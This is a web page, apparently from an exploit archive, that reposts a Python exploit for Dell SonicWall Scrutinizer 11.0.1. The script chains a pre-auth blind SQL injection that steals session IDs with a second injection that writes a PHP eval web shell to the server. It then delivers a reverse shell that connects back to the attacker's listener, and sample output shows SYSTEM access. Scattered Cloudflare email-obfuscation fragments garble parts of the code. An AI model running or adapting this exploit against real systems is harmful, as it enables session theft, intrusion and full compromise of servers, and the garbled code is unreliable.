Home / os / solaris

Dell SonicWall Scrutinizer < = 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution

Posted on 30 November -0001

<HTML><HEAD><TITLE>Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/local/bin/python """ Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution sonic.py by <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3d504f6250587d525b5b58534e544b58104e585e484f544944135e5250">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> greets to @brandonprry ;-> Summary: ======== This exploits an pre-auth SQL Injection in the login.php script within an update statement to steal session data. You could also steal login creds which require absolutely no hash cracking since the target uses symmetric encryption. It then exploits a second post-auth SQL Injection vulnerability that writes a shell to the target using a relative path and gets SYSTEM. Vulnerability: ============== In html/d4d/login.php on lines 27-34: }else if ($_REQUEST['setSkin']){ echo setUserSkin( array( 'db' => $db, 'user_id' => $_REQUEST['user_id'], 'skin' => $_REQUEST['setSkin'] ) ); Then, on lines 46-62: function setUserSkin($args){ $db = $args['db']; $result = $db->query(" UPDATE plixer.userpreferences SET setting = '$args[skin]' WHERE prefCode = 'skin' AND users_id = $args[user_id]"); if ($args['user_id'] == 1){ $result2 = $db->query(" UPDATE plixer.serverprefs SET currentVal = '$args[skin]' WHERE langKey = 'skin'"); } } For the post-auth bug, see https://gist.github.com/brandonprry/76741d9a0d4f518fe297 Example: ======== saturn:module-03 mr_me$ ./sonic.py Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f09d82af9d95b09f9696959e83998695dd8395938582998489de939f9d">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> (!) usage: ./poc.py <target> <connectback:port> saturn:module-03 mr_me$ ./poc.py 172.16.175.147 172.16.175.1:1111 Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="e9849bb6848ca9868f8f8c879a809f8cc49a8c8a9c9b809d90c78a8684">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> (+) target is vuln, proceeding (+) waiting for session data... starting at: 2016-05-06 16:31:37.022818 (+) awesome, appears like someone has logged in... (+) it took 0:00:05.020670 to detect valid session data (+) extracting session data... 1:NfS5yetP49TXCqP5 (+) backdooring target... (+) starting handler on port 1111 (+) connection from 172.16.175.147 (+) pop thy shell! whoami nt authoritysystem ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 172.16.175.147 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.175.2 *** Connection closed by remote host *** """ import re import sys import requests import datetime import socket import telnetlib import email.utils as eut from threading import Thread from base64 import b64encode as b64e lower_value = 0 upper_value = 126 def banner(): return """ tDell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="b3ddc7dec1ecded6f3dcd5d5d6ddc0dac5d69ec0d6d0c6c1dac7ca9dd0dcde">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> """ def ct(): return datetime.datetime.now() def parsedate(text): return datetime.datetime(*eut.parsedate(text)[:6]) def check_args(): global target, lserver, lport if len(sys.argv) < 3: return False cb = sys.argv[2] target = "http://%s" % sys.argv[1] if not ":" in cb: return False if not cb.split(":")[1].isdigit(): return False lserver = cb.split(":")[0] lport = int(cb.split(":")[1]) return True def validate(): r = requests.get("%s/index.html" % target) if re.search('Scrutinizer 11.0.1', r.text): return True return False def have_sessions(time): """ check if we have sessions """ sqli = "if(ascii(substring((select count(session_id) from sessions),1,1))!=48,sleep(%s),null)" % (time) url = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli st = ct() r = requests.get("%s/%s" % (target, url)) delta = ct()-st if int(delta.seconds) < time: return False return True def do_time_based_blind(sql, time): lower = lower_value upper = upper_value while lower < upper: try: mid = (lower + upper) / 2 url = "%s/%s" % (target, ("%s>%s,sleep(%s),null)" % (sql, str(mid), time))) st = ct() r = requests.get(url) delta = ct()-st if int(delta.seconds) >= time: lower = mid + 1 else: upper = mid except (KeyboardInterrupt, SystemExit): raise except: pass if lower > lower_value and lower < upper_value: value = lower else: url = "%s/%s" % (target, ("%s=%s,sleep(%s),null)" % (sql, str(lower), time))) st = ct() r = requests.get(url) delta = ct()-st if int(delta.seconds) >= time: value = lower return value def steal_session_length(): xlen = "" sqli = "if(ascii(substring((select length(length(concat(user_id,0x3a,session_id))) from sessions limit 0,1),1,1))" qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli zlen = int(chr(do_time_based_blind(qry_str, 5))) for i in range(0, zlen): sqli = "if(ascii(substring((select length(concat(user_id,0x3a,session_id)) from sessions limit 0,1),%d,1))" % (i+1) qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli xlen += chr(do_time_based_blind(qry_str, 5)) return int(xlen) def steal_session(length, time): session = "" for i in range(0, length): sqli = "if(ascii(substring((select concat(user_id,0x3a,session_id) from sessions limit 0,1),%d,1))" % (i+1) qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli char = chr(do_time_based_blind(qry_str, 5)) session += char sys.stdout.write(char) sys.stdout.flush() return session # build the reverse php shell def build_php_code(): phpkode = (""" @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""") phpkode += ("""<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c7e3a3aeb4fa87aea9ae">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_get('disable_functions');""") phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""") phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """) phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """) phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1 ";} """) phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""") phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""") phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """) phpkode += ("""$o.=fread($fp,1024);<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="443939043427282b3721">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>($fp);}else""") phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """) phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """) phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """) phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """) phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """) phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """) phpkode += ("""$o=ob_get_contents();ob_end_clean(); """) phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """) phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """) phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """) phpkode += ("""$nofuncs='no exec functions'; """) phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """) phpkode += ("""<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="e1c592dca187928e828a8e91848f">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport)) phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """) phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """) phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """) phpkode += ("""<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="eeca9dd3ae9d818d858b9a">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport)) phpkode += ("""@socket_write($s,"socket_create");while(<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="91b5f2acd1e2fef2faf4e5">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_read($s,2048)){ """) phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """) phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """) phpkode += ("""@socket_write($s,$nofuncs);break;<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="81fcfcc1f2eee2eae4f5">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_write($s,$out,strlen($out)); """) phpkode += ("""<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="ceb38ebda1ada5abba">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_close($s);} """) return phpkode def kill_shot(stolen_data): user_id = stolen_data.split(":")[0] sessionid = stolen_data.split(":")[1] url = "d4d/dashboards.php?deleteTab=1 union select '<?php eval(base64_decode($_COOKIE['awae'])); ?>' into outfile '../../html/d4d/offsec.php'" requests.get("%s/%s" % (target, url), cookies={"userid": user_id, "sessionid": sessionid}) def exec_code(): phpkodez = b64e(build_php_code()) handlerthr = Thread(target=handler, args=(lport,)) handlerthr.start() requests.get("%s/d4d/offsec.php" % (target), cookies={"awae": phpkodez}) def handler(lport): print "(+) starting handler on port %d" % lport t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def main(): if check_args(): if validate(): print "(+) target is vuln, proceeding" st = ct() print "(+) waiting for session data... starting at: %s" % ct() # we dont use recursion since we could get stack exhaustion. while not have_sessions(5): pass print "(+) awesome, appears like someone has logged in... " print "(+) it took %s to detect valid session data" % (ct()-st) sys.stdout.flush() sys.stdout.write("(+) extracting session data... ") dataz = steal_session(steal_session_length(), 5) print " (+) backdooring target..." kill_shot(dataz) exec_code() else: print "(!) usage: %s <target> <connectback:port>" % sys.argv[0] if __name__ == "__main__": print banner() main() </BODY></HTML>

 

TOP